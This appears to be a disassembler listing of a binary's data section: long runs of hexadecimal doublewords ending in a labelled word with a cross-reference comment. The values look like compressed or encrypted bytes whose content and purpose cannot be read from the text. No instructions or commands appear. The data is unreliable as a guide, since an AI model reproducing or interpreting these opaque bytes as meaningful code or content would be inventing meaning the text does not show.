		dd 2033E40Ch, 0FD820EA2h, 18E1B7A3h, 306D51BEh,	10B1F9F4h
		dd 17212211h, 0C06FCE09h, 719F64h, 0F6A702E6h, 0C1B5B2DBh
		dd 0A4379B24h, 0D7E7EA00h, 0A7631AAh, 631F394Dh, 6C6F02BCh
		dd 0D85A04A8h, 806D5A3Ch, 148F4373h, 0B0F88A20h, 0D3D600F0h
		dd 56B8C7Ah, 0BB4C94B0h, 0C1F41C68h, 0D0F0FD40h, 926F34Dh
		dd 2F298202h, 0E4F5820h, 6906D16Ah, 73D9278h, 4E812439h
		dd 0FC0B0FCCh, 0DE37E7C0h, 770F65C0h, 427ED85Bh, 0C0EE2E5Ch
		dd 34AC08h, 0E6AAF185h,	3EB49303h, 4C3D4600h, 0E3BCF053h
		dd 0CBE03882h, 7394A28Fh, 0D19E9640h, 0E3B05236h, 2D193A03h
		dd 0F8618A0Eh, 75CEB6h,	8FB4AE7Bh, 0BD06F6D2h, 0DBC5F50Ah
		dd 0B700E453h, 0C2AF623Fh, 6003047Bh, 0D0369179h, 6AFD1574h
		dd 6C9BA72Ch, 0F293500h, 0FB7C387h, 44501497h, 36D7803Fh
		dd 0B658B955h, 0DD40371Fh, 48CFC709h, 260F928h,	0EBE03BE3h
		dd 90814A70h, 2063480Dh, 0ED00F29Ch, 7A9DFE0Bh,	0ADA8B2h
		dd 0ABB6C6BEh, 0E7E4E3CDh, 62766F1Eh, 29B7D480h, 5DA8C296h
		dd 66C05CC4h, 896C817Ah, 91298F00h, 9587997Ch, 1C0F00B9h
		dd 5956450Dh, 0C0E26144h, 0FFFC1A3Ch, 6BFEEC00h, 0F8F06E06h
		dd 0E5FA0E92h, 2023B302h, 0C983532h, 0D300E20Bh, 68D52FB4h
		dd 7B2CC84h, 0C51FA4C4h, 6DC17FB0h, 0C05ADDFEh,	0F807D7EBh
		dd 7338EA79h, 3D8BBCD0h, 7DCB3FD0h, 0A9AAFF00h,	24374C71h
		dd 45EA4A01h, 0ED083132h, 44E0ECDFh, 2D2709BAh,	0F8823424h
		dd 2CF8D4B2h, 0F38BF100h, 0DA507DEh, 0BE2000F9h, 0D7381024h
		dd 4B012337h, 5C3447EAh, 73DC5EF7h, 5B6F0E13h, 6E401F83h
		dd 0D8FD30CBh, 0A02225h, 0E0F6DA50h, 0A8611FA5h, 80638E16h
		dd 5906BA9Eh, 90DE6674h, 615DA000h, 980627F7h, 162A3A4Eh
		dd 2448453Ah, 0B9A5B518h, 783DC523h, 0CFFE8779h, 0DB43D57Bh
		dd 11216035h, 0ACCAE231h, 91B1A600h, 0D226F240h, 265AE4D1h
		dd 1A843A3h, 7397FE29h,	0A677D1A5h, 3124B3A9h, 64DB9131h
		dd 80F259E1h, 0D97C3B08h, 7DCD3032h, 827BC468h,	0F7355B18h
		dd 19757340h, 1CFADE62h, 0C527E036h, 0B600397Fh, 469C3A5h
		dd 1BD99Eh, 0B86C8324h,	0E1305958h, 0DD00A7F6h,	0C281F238h
		dd 12CD018Fh, 0BB1E35h,	0B2D63F98h, 9B01715Bh, 4FFB75D3h
		dd 51CDCB08h, 209AF4h, 0F1E1F90Bh, 82BA139Fh, 0C316DA00h
		dd 26CF78A4h, 0BBF45C8Ch, 0B5F13001h, 0FCD58764h, 73003E37h
		dd 573CD2F5h, 0EC33ADh,	4C5608F7h, 2477B391h, 7CA63E07h
		dd 398075C6h, 4CD834F4h, 0AB00420Ah, 16EBE897h,	2A005F95h
		dd 7C7B309h, 2F79C6h, 0A460EA94h, 3C9DDDA2h, 7D5823Eh
		dd 9A0D8AB1h, 0BF0A92E0h, 0F6AF0010h, 0BECF1644h, 0C4A87CC2h
		dd 413CF52Ch, 89030E84h, 15E8E0AEh, 13178Ch, 79D195FBh
		dd 0B4F4EB8Fh, 0E84D4C28h, 0D4A3CB00h, 0AD306A73h, 981A0054h
		dd 3666F042h, 0EBE4F1D5h, 0F900FE78h, 81E2F5D6h, 38F29AD9h
		dd 74836506h, 3DD79461h, 8086C2D9h, 1901FF89h, 0E7D0E3h
		dd 8FFB9F3Ch, 12906D6Ch, 41BC9B00h, 5A5B071Eh, 39780027h
		dd 47EBB2F5h, 2C000BDAh, 0AAF6FDD3h, 1FED32E9h,	5275C324h
		dd 812840AEh, 538D3123h, 5F36D900h, 0E1A7C848h,	0BD3500D4h
		dd 0FF40EA3Bh, 0D30022CAh, 0D9A07F68h, 0E9387783h, 0E68A4089h
		dd 0C5CE4C20h, 0CB008437h, 290B090Ch, 2456482h,	4F5B39DEh
		dd 0CF40E6F6h, 61FB15FBh, 0B002DCDAh, 0F4B95C00h, 1B7277AFh
		dd 0D0E81660h, 0F343007Bh, 0E5040E6Dh, 9715DB00h, 0C54F5AD5h
		dd 507167C3h, 856E644h,	0E5395B01h, 75893783h, 0C06AC4C8h
		dd 0D78E1318h, 4E008414h, 11DBEAACh, 1EAB27A7h,	8A26AEh
		dd 24DC7A41h, 3D60DF99h, 3B215A9h, 0D7D18h, 0A084E8D0h
		dd 16355A66h, 5E881024h, 0BEC5983Ch, 3534431h, 675679A9h
		dd 3C902D9h, 9998064h, 72162E15h, 6AF0E8h, 0F249D786h
		dd 7A9F2475h, 0D33E301h, 42E1D0C9h, 0E8355186h,	5E194172h
		dd 8C193F40h, 18910DE0h, 21730433h, 0FB00B14Bh,	3E27265h
		dd 3DCDF9C5h, 700817Fh,	9F60F45h, 1F38DC23h, 0A2DF1C48h
		dd 4F5DCD80h, 0B892ACF5h, 0FC300723h, 53763B83h, 8007785h
		dd 0D260B694h, 3A4A656Dh
		dd 5700528Dh, 4E5AA486h, 877C6983h, 3A6F893Eh, 98630796h
		dd 5BC7744Bh, 5A45C881h, 88103BC7h, 47A4EC00h, 1E5CCD4Eh
		dd 35277C00h, 53915B62h, 0D0A2005Ah, 7E606463h,	4A3E9865h
		dd 468A0BD2h, 0D7F8F82h, 308308F2h, 85A0886Eh, 0D0A062E3h
		dd 577A5E38h, 4F0A6B73h, 64565987h, 0DFF50448h,	65B1EE03h
		dd 0BF0E732h, 0F9EAD2Ch, 82099D78h, 0F863B20h, 0A876EC90h
		dd 25AF8119h, 27D06B39h, 11836009h, 8BB5AEA5h, 9A0C0D79h
		dd 87B062Ch, 4621C079h,	8FCCB5A5h, 8180C030h, 19C956h
		dd 8649722Eh, 4FB5A6F6h, 84008F7Fh, 0C847D203h,	18763D2Dh
		dd 0B95B0929h, 1B33EB1Eh, 0E1A7A88Ah, 6100921Dh, 0EC7BD576h
		dd 2D5729C3h, 32BDE866h, 0F68819CDh, 806D083Ah,	6625B821h
		dd 0C37D787h, 9592219Ch, 7AF21448h, 0DEAC840Ah,	0D0809425h
		dd 9C32373Fh, 1D1B7F60h, 0C1A48A3h, 0F12084CAh,	99FDC4FFh
		dd 8A364500h, 8197F9E9h, 0E90A4A9h, 6AB7D490h, 0E65187C0h
		dd 0FB1BC065h, 23C8A7C3h, 4101AA70h, 709C3437h,	21C01C18h
		dd 4C3739EFh, 618B6009h, 0E8DCE7DEh, 89FECC00h,	0A3AC6B26h
		dd 2939C3EBh, 0F973530Ah, 84D00318h, 0F097178h,	864645E2h
		dd 0A40421FAh, 662F60D3h, 42BD233Dh, 0B6006C11h, 0B4BF6627h
		dd 0ED309EA9h, 3F8193Fh, 0FF6A3D9Ch, 97844600h,	0DE3A325Ch
		dd 3007549h, 0B2C3D796h, 3082FCFFh, 6A3448F7h, 4120DE32h
		dd 0DF93C3E0h, 0FBF98C15h, 53F189h, 0B89A093Eh,	7A1CA44Ah
		dd 77795D61h, 3183240Eh, 4BAC09B1h, 0B640E000h,	0C14D67Fh
		dd 8040FD34h, 88DA09A9h, 7A039661h, 77EC14DFh, 0A5200489h
		dd 878BC621h, 2A4AA20Ch, 9FD17C40h, 1F22F912h, 97073EBCh
		dd 0D03D2E26h, 0F65F917Ch, 0F75C89C0h, 6853EADEh, 1180202Dh
		dd 0C38B8036h, 8CE4FFAEh, 376E44h, 25A5C3D4h, 0FF7F45D9h
		dd 1D419F18h, 0C068EE78h, 3D23FEF1h, 0B400EF40h, 3A2B0580h
		dd 0F65248h, 2672CF38h,	0DF64025Ch, 65798260h, 0C31A7Ch
		dd 0A3DD1B44h, 0E8EAD7B2h, 68B08124h, 953E3080h, 9E0709Dh
		dd 0ACCD2AC0h, 80F10C0Eh, 0BD3C662Eh, 73448C3Ah, 662600B7h
		dd 0E7C62B32h, 2D0E1BE5h, 5139E48h, 0A0438DB0h,	0D4BFEA8Eh
		dd 81B51006h, 18A788A1h, 2F37043Ch, 321A489Ch, 34F02021h
		dd 0F016937h, 979F8BD5h, 609E6CB1h, 49A1384h, 4378BB3Ch
		dd 14F53FFFh, 0CCA26781h, 0D6013723h, 7CFFB5C3h, 38804C23h
		dd 0D28CC3DFh, 1A492509h, 11E01D9Ah, 0D46B8017h, 1AB658Fh
		dd 4AF7BD72h, 503DED09h, 0DBC64FA0h, 7F0E9E01h,	94BA8FE0h
		dd 0D326A18Fh, 0E029C50Dh, 0ED31B381h, 0F461166h, 961320h
		dd 0DD610480h, 5834D96Ah, 0F299FB07h, 0D812C94h, 0B44E9A3Bh
		dd 70C01488h, 16DC0A7h,	102DE118h, 0E4DCF905h, 6A167936h
		dd 0C632877h, 0DD688B5h, 7E448C8Bh, 0B5AC0047h,	9817CF56h
		dd 0BE095A66h, 913403h,	0B20A23C0h, 13F8809Fh, 0A3530814h
		dd 0BA9006E4h, 87982395h, 606D44E0h, 1965CBAh, 0CE5930FCh
		dd 807EDE26h, 87CFF741h, 2885B84h, 0AFFF6E33h, 18406781h
		dd 2418A635h, 2A0832E1h, 2EB12096h, 8030DE48h, 94D35BF2h
		dd 3B241402h, 3401D0AEh, 8F9156A8h, 89B4E346h, 0C820A1B4h
		dd 0BC8F9084h, 2097548Ch, 66247331h, 0B012B0C0h, 7123C43Ah
		dd 0BC838B00h, 5FCEFF8h, 5A219B95h, 3EAC0180h, 40AC7C13h
		dd 0A764E0B8h, 3AD42401h, 0B59A8743h, 0C937E09Dh, 5701A644h
		dd 42CC7ABEh, 0B2302BF4h, 0DD711B5h, 807A8863h,	0D0B5A94Ah
		dd 0FB163E61h, 0E025A463h, 2445290Bh, 3160E1E0h, 0BD133F66h
		dd 302CCE52h, 6629017Ch, 7BEA636Dh, 2619E0DEh, 7464D6F9h
		dd 0A9662A00h, 0EC12E646h, 533400E0h, 60D195CBh, 9E0A0E64h
		dd 0B069F137h, 0AC2C7890h, 89A808DCh, 5FC62081h, 0F04C717Ch
		dd 0BE9D05F7h, 528643Ah, 821936CCh, 88B0290Ch, 0ECA1B5B4h
		dd 884E93h, 8EB5AB48h, 20FBBEF4h, 0F037A34Bh, 529710E0h
		dd 0D29059Fh, 20ACC88h,	0D2AD912Fh, 8CE1C39Fh, 0CC48E6DFh
		dd 3048456Bh, 12C58DEh,	0CA8D7A46h, 0AC3017E3h,	806E06F5h
		dd 311B0144h, 0BAAB9006h, 0E48D047h, 4465D926h,	0FBF42112h
		dd 0F4A9808Fh, 9C2C68DFh, 0C1601F88h, 507905EBh, 0AF9404F6h
		dd 63194582h, 75614840h, 28D5B652h, 6FE0F665h, 448229A8h
		dd 1D298EF9h, 85181140h, 1680EF0Ah, 0C090FC04h,	0A12A1359h
		dd 1A0FBE3Dh, 403263E0h, 0A7ED61DFh, 64920056h,	0E6B5896h
		dd 901E5749h, 0A905350Bh, 0CC8E1B88h, 2CC06F88h, 2DBAF79h
		dd 22237F65h, 0A8408ACEh, 2E63DE97h, 0A007A2B1h, 5C8458F5h
		dd 39F0C44h, 0A1D566D8h, 0EC4965A2h, 28C44ACh, 0DA19BB1Ch
		dd 0E714C050h, 7474AE81h, 9F44C348h, 2424B113h,	44FC4C92h
		dd 1417005Ch, 6B48DB99h, 0C5265721h, 0A44944D9h, 3CC64620h
		dd 29DF3008h, 22C9CB79h, 0B9357803h, 0BBF4125Ah, 75D885Bh
		dd 3A30C2E2h, 78C7E6AEh, 1884CA42h, 8F00FD3Bh, 45C19531h
		dd 4CEC131Dh, 3AF048Ch,	0BFBB868Ch, 6927D8BDh, 0B1E0CACh
		dd 0F96072C0h, 102FB34Bh, 0A2126B23h, 82278C08h, 53E40590h
		dd 81C96263h, 66C048A6h, 2324ED48h, 0C38A0133h,	0EDCFFB1h
		dd 0C3D33400h, 0BA3392D5h, 9C426A02h, 975E621h,	7F070403h
		dd 0DD90C00Fh, 885F06C0h, 0BA837110h, 18C2F86Ch, 18813C13h
		dd 0E3501B3h, 6C924098h, 0C38D3034h, 0D4FFB011h, 35967288h
		dd 4F319C00h, 4831ABCh,	0B098563Dh, 456DC2D2h, 14FC8CAAh
		dd 8E097CA4h, 0D460A7C2h, 6018B157h, 66719A1Bh,	5A083A27h
		dd 307760CDh, 0AF3972FCh, 3A0052B5h, 0C1F44547h, 75BFA25h
		dd 0B8E5B486h, 20E9FEFCh, 3A1B3B85h, 6923ACh, 8217E739h
		dd 7C99F744h, 0FA1BDD9Eh, 5983C249h, 42A70058h,	0D40887CCh
		dd 0CC214F24h, 46741C4Ah, 0E1410070h, 4A28EAAEh, 90321614h
		dd 84C25BFh, 0E82861Ch,	622493C2h, 85A841D4h, 0DFE7DA10h
		dd 0EFDC2045h, 707E4D7h, 562E3840h, 53C79F08h, 0E24AC218h
		dd 0E498EC42h, 0AF006AEBh, 0BB743540h, 49FBC79h, 96458DE5h
		dd 0FE18A1C5h, 97C80520h, 56F70009h, 0EE9C8659h, 0F49139F4h
		dd 3B80A811h, 409C2E37h, 6C281A4Ah, 373301E5h, 0B9DDFAC9h
		dd 0DCDFE8D9h, 0ED512608h, 8D728068h, 278B3E8h,	4B54F02Ch
		dd 0DCCA7000h, 84864Bh,	1109A455h, 30F0B1BAh, 0E8643D48h
		dd 0ED008C6Bh, 0F1490DFh, 9CB3F758h, 6D465E6Ch,	2F68B000h
		dd 0BEA0CF9h, 75D443F9h, 0E41B7028h, 91EE9144h,	221F0024h
		dd 21A5B445h, 0A0ADCA05h, 0EC209A81h, 0DDCCF6DDh, 2909FC28h
		dd 3C425503h, 6F447C47h, 0A26CDB60h, 0DE8B620Ah, 59809081h
		dd 0FE43032Eh, 78580382h, 0BF2CC7D1h, 5169DE81h, 80809714h
		dd 0F9604A84h, 4BD79F6h, 0C8E6FB33h, 402CC123h,	0E8A90780h
		dd 1D0F334h, 0FD859D1Ah, 4E31DC2Bh, 0C56B88ACh,	100CCEB1h
		dd 0A9888619h, 2D373AC0h, 3C38489Ch, 3732E2E0h,	8DB9270Eh
		dd 959C2072h, 16486184h, 20FC44D9h, 0C6199BACh,	984D7B45h
		dd 378A2E8h, 0A064C2C3h, 0FBA03D4Eh, 0EB0232E0h, 0A2A2680h
		dd 82A72520h, 3B238AB4h, 285788F9h, 2ABC00BDh, 29C1C448h
		dd 6649DE96h, 0EFA10048h, 0C3514795h, 0FC2C00E8h, 739102B2h
		dd 60F75BE7h, 0EC94F4ACh, 6D465Eh, 9BCAE643h, 0D282C201h
		dd 975C21D8h, 59FB207Dh, 0D103749Ch, 22654E50h,	750012F8h
		dd 0F28E6861h, 172AD70h
		dd 9E784F9Dh, 0F88DAA34h, 0A7181F07h, 0D93113DFh, 0C9D8008Ah
		dd 8C7D1186h, 0B1016922h, 7AA760EDh, 6828DE4Fh,	28995716h
		dd 823A13ECh, 0E09C55A3h, 2948B7C2h, 60D10BA8h,	0C428656Ah
		dd 3DA6078h, 27653A21h,	5994274Ah, 1C04D029h, 0C3D86035h
		dd 0ECFF21AFh, 0C3E136C0h, 92460358h, 270BD2ADh, 27F9A058h
		dd 66288271h, 0BCA0E9A7h, 0DF2DE462h, 0E9CFCC20h, 8C0070D2h
		dd 8F96A221h, 0E9AFE6BDh, 73949E4h, 1A33CDFEh, 0A297E52Ah
		dd 65C8006Ch, 0F4B8A7E4h, 8A930768h, 702C717Ah,	0D380E354h
		dd 27C67F01h, 2EB1658Ch, 189F8C64h, 981EBDAFh, 0EB2E462Ch
		dd 0A78778D3h, 7197A21h, 0EFC61E08h, 5292C19h, 0AFFD61E4h
		dd 404CE3D5h, 0C45B1644h, 17A7E45Eh, 0C6B9E4h, 0E1EA1FFBh
		dd 1E94EE2Fh, 70A874F7h, 0B1816771h, 1D754E2Fh,	807C9120h
		dd 959E2D1Ch, 75250F86h, 21F8FBE8h, 0A00098BBh,	4AB9B15Bh
		dd 488BC3h, 0D9BB5CCh, 711F0323h, 0F4486BE6h, 649102E0h
		dd 0AF275796h, 0E70031C4h, 864CC051h, 8B01445Fh, 7B02894Dh
		dd 58C00B8Eh, 0A63C258Ch, 8C807492h, 0F44A6522h, 81119700h
		dd 0A97274C4h, 99362821h, 0DF9625C0h, 0A22C2020h, 661CEB6Ah
		dd 0A000E1A6h, 0C43524EDh, 27F0DD0Bh, 8291AC17h, 8780118Eh
		dd 85CA9456h, 513D9B8h,	7C31F644h, 0FE6209h, 72A2713h
		dd 44CC4354h, 2114FF51h, 8A87F079h, 7A043C98h, 7BDEDDCCh
		dd 7116A091h, 94F745C0h, 9017EBD8h, 0AC817311h,	0C8357D04h
		dd 0B3F04F33h, 1AFB4418h, 6F8F9089h, 560031C2h,	0A7146591h
		dd 215E189Ch, 0A98E84CAh, 3E3B4104h, 103C0D53h,	7436D780h
		dd 0C301EB8Dh, 0E1CB566Dh, 0F064DF3Eh, 4620981Fh, 0C3D90238h
		dd 0D974FFB4h, 0E239630Ch, 0C0DC4A58h, 0A2C8AF0Bh, 166600B6h
		dd 0F6563D02h, 0ED0AF354h, 0F83E1E5Ch, 0B0802511h, 0B30D8DB5h
		dd 44C08491h, 61B5A7h, 7E10E196h, 9140F1E5h, 6BBAAD17h
		dd 0AFFF5041h, 58347699h, 0A7D105B5h, 0E12288EDh, 0ACE2AC58h
		dd 8A7F7600h, 0A7B648h,	44FA7419h, 0DED91486h, 21D03159h
		dd 808C04ACh, 345488E0h, 59FBC104h, 0B0B1A244h,	0EC1FA039h
		dd 0BA0A06FDh, 0FA0069DBh, 8C3B5870h, 3835A31h,	0A5C4B329h
		dd 1FF8F54Bh, 0E000D2CDh, 0BDBBF48h, 708626h, 0B3233093h
		dd 9AC3C1C5h, 0A800EA74h, 0A75D8C3Eh, 1E2665FDh, 98D75AFh
		dd 0DF8E38Bh, 0AA4CF500h, 0E05966D0h, 5A69885h,	0B9804228h
		dd 1F80BF0Ch, 63B4C0h, 9B5867C4h, 608DB1C5h, 300244ECh
		dd 0D13BC6A6h, 3C50F2AFh, 0F90BB2EEh, 60E5B5DEh, 17676FE4h
		dd 0A4344039h, 0FA2D23A1h, 0DE6883CEh, 0C9290064h, 34B28858h
		dd 0C0BDC46Dh, 2A3B788h, 0FB3D6FC3h, 0C6D9538h,	9B0372EEh
		dd 0C83FB045h, 26F2FA49h, 40780244h, 7FBA0B2Bh,	6FCC74Ch
		dd 403937FFh, 17B603F8h, 72259F88h, 0BA84100Bh,	0D864E33Bh
		dd 0C2415997h, 5D0DAC18h, 6871C0D9h, 6C047918h,	0EFEA84F4h
		dd 79E85C92h, 8514782Ch, 21C90086h, 710A4606h, 45156E64h
		dd 0F847409h, 82B11223h, 0C1059899h, 0B8E10A40h, 80FF90FFh
		dd 443C9864h, 1C00F423h, 911E1B8Fh, 1455896h, 2DFD5D64h
		dd 7CE7D28Dh, 0C95700F4h, 4970DA01h, 0D7361D86h, 0FB78C422h
		dd 23C4E03Bh, 96661A10h, 0D8E90A19h, 83D18A6h, 509C3037h
		dd 35E370h, 2AB45437h, 75508990h, 0FC7FC779h, 6C9188h
		dd 3FB3FF39h, 0F715D09h, 0F5B1C000h, 6F4EC94h, 4ED058A1h
		dd 0B803187Bh, 0B909873h, 61BBF23Eh, 0E23758C8h, 5191A2CBh
		dd 1872D1E4h, 219207F7h, 60183F6Dh, 56D2CB11h, 86199B0Ah
		dd 3E049071h, 64F0E803h, 93050983h, 0D0A0CC9Ah,	0AEBC9020h
		dd 0B0A71C92h, 0C2676B44h, 0F893FC28h, 6556CB90h, 0C00E1500h
		dd 0EB7C507Eh, 66F0278h, 0BE0AE943h, 0B908306h,	0BFCA64A0h
		dd 2DA77C02h, 0E2A5CCE3h, 3C8B07ECh, 9C52695h, 87FE988Ch
		dd 183AE616h, 9006823h,	0BA0D9A9Ch, 0C4CE48F3h,	0F1415602h
		dd 44C8FD96h, 212F3FFFh, 4C408A48h, 32896C00h, 0F0CA9B59h
		dd 0A92C03FFh, 74F013BEh, 9B3D816h, 2640FB14h, 186BD4C2h
		dd 0B9F998h, 29D2E6Bh, 8CDBA650h, 0FFA27F0Eh, 732461FEh
		dd 76708EE4h, 0AF822727h, 0F7CA5890h, 84621B4Eh, 0F210A1A3h
		dd 0FF0226EBh, 0B0A97304h, 909445B8h, 0C89CA04Fh, 5019C0B9h
		dd 716909Fh, 0DB6BDC98h, 38D80059h, 0AF14B855h,	7946D15h
		dd 0E1FBFC85h, 98B4A3F5h, 781B9776h, 5D1345C4h,	6DE200E2h
		dd 0BC7230h, 0A54A4B49h, 8196B5E9h, 1084A256h, 5626292Fh
		dd 0E9196048h, 0FE003FC8h, 0F3CD2FE7h, 0E53DBCh, 9929360Ah
		dd 0FB95D466h, 7F396405h, 10CB6B30h, 0DA00E3DCh, 5D4C41A8h
		dd 56EA0026h, 0F3BEDC92h, 0C49275ABh, 535F0490h, 9B572403h
		dd 4273E209h, 1071D8h, 0BCB68972h, 0DA00AA6Ah, 0D48792D1h
		dd 2F5D5CABh, 9C378036h, 123DD700h, 98FA1BF0h, 0C1959094h
		dd 840B1E78h, 7DA08498h, 0A88E3BB2h, 1BC06F88h,	5347FB5h
		dd 929A344h, 135CB240h,	8804D341h, 830B79B4h, 0F3090003h
		dd 8737FA7h, 3EC0ADD4h,	469C3137h, 0F1F2258h, 0D13736EEh
		dd 7CDEF703h, 0A95A91Eh, 89CCB95Dh, 688966Ch, 0B8134631h
		dd 0A35B7878h, 88B19428h, 8F072497h, 8C6A461Eh,	0A8BFF6E0h
		dd 0E696060Ch, 0D142EC90h, 5FE0C60Fh, 1EEE3D2h,	5A48A851h
		dd 0C0F0BC21h, 0F805A53Fh, 4864394Ch, 0DF6C094h, 0EBB689Dh
		dd 372EA84Dh, 0EB8AEAA0h, 21140588h, 0E8F0E7FAh, 4F048C6Bh
		dd 0A2019BD0h, 304C48F6h, 8239DE23h, 4ABD3E66h,	106A19CEh
		dd 966287Dh, 0A481C026h, 0E3201CE6h, 232BFD16h,	214811C4h
		dd 0CC8726D0h, 0D0ACB0C4h, 0DCF54C7Ch, 34B620E6h, 9134172Dh
		dd 9771806Dh, 58A09F0h,	434F2F74h, 7CE4F2FDh, 0D8823675h
		dd 6783449Ch, 0A3CFC000h, 4C331CD5h, 3950148h, 22B7BFB0h
		dd 26FC202Fh, 0B5AF048Ch, 677B0DD8h, 0A64580F8h, 3A299FB5h
		dd 4940D89Eh, 3C73C1h, 926FBD4Bh, 0A9BE945Dh, 527CA004h
		dd 0F0C07F37h, 88720957h, 970F87A3h, 0C3A53436h, 0F01DEC65h
		dd 40C4EDh, 0CB43AFB0h,	42119E27h, 30DC6848h, 13D640B5h
		dd 69F925D2h, 82C48465h, 0B44C560h, 0F12FC01h, 6105202h
		dd 8824B460h, 0A0970C29h, 27F3468Ch, 8230B494h,	8644FCB0h
		dd 6C79A0D1h, 5700E218h, 9634DB36h, 7914EA09h, 0C8995B6h
		dd 58875CB7h, 4A568CD2h, 60CFF869h, 0A956509Dh,	6C506E21h
		dd 3DE1449Ch, 9BD0424h,	18F0A016h, 20C898CFh, 9CA77226h
		dd 0A3636F44h, 6BCC8790h, 20F44425h, 0BE67FF70h, 0A99DE9Bh
		dd 80C48DFBh, 3E1CB9B4h, 407C35Ah, 314D9314h, 40CB25F2h
		dd 84BF224Ch, 78C4F085h, 1E9C8060h, 40FB7426h, 0CAD2EC40h
		dd 57DB0071h, 9C7D4655h, 600F7CBh, 0F6E754BAh, 0C83156BEh
		dd 0B1C02470h, 480D8AB5h, 43E084ABh, 0BC01B5A8h, 0FBCFE114h
		dd 18A979A2h, 61BCD3A8h, 1AD42D57h, 0C071286Ch,	4E1914E0h
		dd 0D002D47Ch, 0B08DFF49h, 0DFBBA0C0h, 3304F8A4h, 0FEF0F1A4h
		dd 4ED34C80h, 699805E0h, 0A0A537F5h, 8B2885B8h,	6620F46Eh
		dd 40FD6067h, 0CC4FBA0Ch, 0B861CCB0h, 0E3EC1450h, 9098002Fh
		dd 89C7CADFh, 0CCA03DFAh, 358064D9h, 7FB17C1h, 0E0780155h
		dd 2CAFEADFh, 6CF509ACh, 292C0290h, 654FA08h, 41379597h
		dd 661F9042h, 41F50BC2h, 18F2FCE2h, 0ECDBEF30h,	0FC2E155Eh
		dd 0F02CA473h, 6FB0005Ah
		dd 9AE8B2FEh, 0FD164B00h, 9CFCE67Bh, 0DBD21811h, 0A581A821h
		dd 0E13051C1h, 91D390F7h, 102C93BBh, 8C6DF8h, 46F96A15h
		dd 5839360Eh, 9403BE0Ah, 4C03A8AAh, 5F79BC8Fh, 0DDC03051h
		dd 0FA730DDEh, 0BDD31402h, 0C3FBBEC4h, 3A38278Fh, 7991C817h
		dd 0BA953581h, 0BC022FF7h, 70853FFFh, 3C1D27B0h, 0DF46C0E4h
		dd 41663301h, 2CCE62BDh, 2B7AA0C4h, 0E9802C66h,	0B7FE0029h
		dd 8BD61AEh, 88608090h,	0E2DB4C81h, 0F644F6CCh,	0A8B89F29h
		dd 8E48A1D6h, 49F400E7h, 0B93ECF75h, 664D34AFh,	36C0C9A0h
		dd 376BF04Ch, 10A09088h, 3B7B5A11h, 1F2F00ADh, 658E2D0Dh
		dd 710314C2h, 9B02B051h, 4964D619h, 0B2419CC8h,	0BC22DCB8h
		dd 16DF38A5h, 3FE1380Ch, 0EA750EA0h, 0FD164C96h, 0D043D80Ah
		dd 42028411h, 0A8FE3F5h, 39D7040h, 1A0CF55h, 0A66EF3ECh
		dd 0EB082818h, 0F5183EFEh, 93D74138h, 45B63725h, 601FE44Ch
		dd 99E0345Dh, 1870D1E4h, 0EF8900F9h, 0EAAE2449h, 0C24E8D8Ch
		dd 7C5600D1h, 17B85828h, 0E1A74B8Ch, 0F353DC3Eh, 0C67BD901h
		dd 0A54DBA11h, 9C782C31h, 168C6CBCh, 16BE655h, 0EDB38AD0h
		dd 8EC98069h, 2C434732h, 15BA00E0h, 9D4291AFh, 8C0F6729h
		dd 0A29E225Fh, 61D3CA64h, 39804116h, 936053F3h,	3D247D2Ch
		dd 0D717087Ah, 7C91DC82h, 8682698h, 0D0488C14h,	84CB2174h
		dd 9227A980h, 59513EC9h, 8F4E9068h, 0C3178850h,	0BB904BD2h
		dd 0D40052AFh, 643CD958h, 2640ECC6h, 0BDC9682h,	0F49FC595h
		dd 69808211h, 0F1C98973h, 9D12F600h, 0B977E27h,	0BF3705CAh
		dd 91658AB8h, 5067EEA0h, 0E5214AA8h, 0D3C82E00h, 0A316C90Fh
		dd 0A40E1E0Ch, 53BF1D81h, 50A088B9h, 0BE78A8BBh, 3D2717AAh
		dd 2130F4ECh, 0DE6A4A17h, 0D566BCC0h, 1FF00171h, 3B5E39AEh
		dd 4C533B95h, 901268A3h, 3A64CC46h, 3494849Fh, 4409F8A0h
		dd 0B39FA73Dh, 0FC1018C4h, 0D7C0498Ch, 9E04DF79h, 0F39DFAEBh
		dd 8BCE10B2h, 21D1BF8Dh, 8C783838h, 0C0B39835h,	0F9CB0E80h
		dd 832C8EA4h, 0A90A180Bh, 4EA71472h, 0A4608CACh, 0E2562AA0h
		dd 40B0BC40h, 0F0C5DB93h, 0D05C9AF8h, 8FDA1E3Fh, 0CE21E07Eh
		dd 9CCA18F9h, 34138498h, 5C1D12ACh, 6D6746DCh, 794FE0A0h
		dd 8D04A659h, 6994E42Eh, 7FEC04h, 3BEA8B90h, 0BC3C98C0h
		dd 1A314070h, 0B900F60Ah, 132E1867h, 16E2F99h, 5D205F8Ah
		dd 0D227DF91h, 73E4DCC5h, 0C2CC9760h, 201B1FCh,	3FCE3E93h
		dd 0A07811B4h, 0C9FB08Bh, 24806991h, 9791891Fh,	46150E0Bh
		dd 0B50C02F5h, 8820CD96h, 0B4BE11AFh, 0D4E84AAAh, 62743F10h
		dd 10995618h, 3BBD815Bh, 0F1810A8h, 256E3E8Eh, 77A484C6h
		dd 8937C080h, 810C9622h, 87BA1230h, 0FFCC30A6h,	481CA528h
		dd 65B64709h, 0C490456Ah, 0A3466081h, 9B609D3Ah, 0A44A397Fh
		dd 79C8F8CBh, 0F68F4BC1h, 8984282Eh, 3E1D4E07h,	7136864h
		dd 555DA8F2h, 0FA44018Ch, 0F923D1C0h, 8F1FC837h, 72BD2803h
		dd 80D90C97h, 0B9B2563h, 0A75A96CEh, 66855091h,	0D3B2F0A0h
		dd 38BCFE0Ah, 6496E4D1h, 0DA7090DFh, 0EB724584h, 0DC293703h
		dd 3DA2EFA8h, 5D802C20h, 2D1F0BF7h, 213E9C2Eh, 0D0024B06h
		dd 0E8F1AFFFh, 0EFB048Ch, 52119B7Ah, 0A5DF2178h, 0D54C1C92h
		dd 0E228000Ch, 149AB30Bh, 8DF60567h, 0C6433AE7h, 290329CFh
		dd 2592B818h, 0ED7809BDh, 4487B934h, 0C00F837h,	41234EB0h
		dd 9B72001Ah, 7C751B53h, 280773A8h, 0FD575B9Eh,	41788092h
		dd 8ED2A4F4h, 0F613878Ch, 49B6DFF2h, 21D0736Ch,	0E109084h
		dd 7AFC03D0h, 0B6BB82A0h, 51008C7Ch, 0B8EC7F75h, 0C0D1FE34h
		dd 0A7B4E411h, 0CC028F03h, 3B0C297Ah, 80DEF8h, 0B03ED772h
		dd 0C2008E2Fh
		db 3Fh,	76h
word_505446	dw 0C4B5h		; DATA XREF: ___:off_435E08o
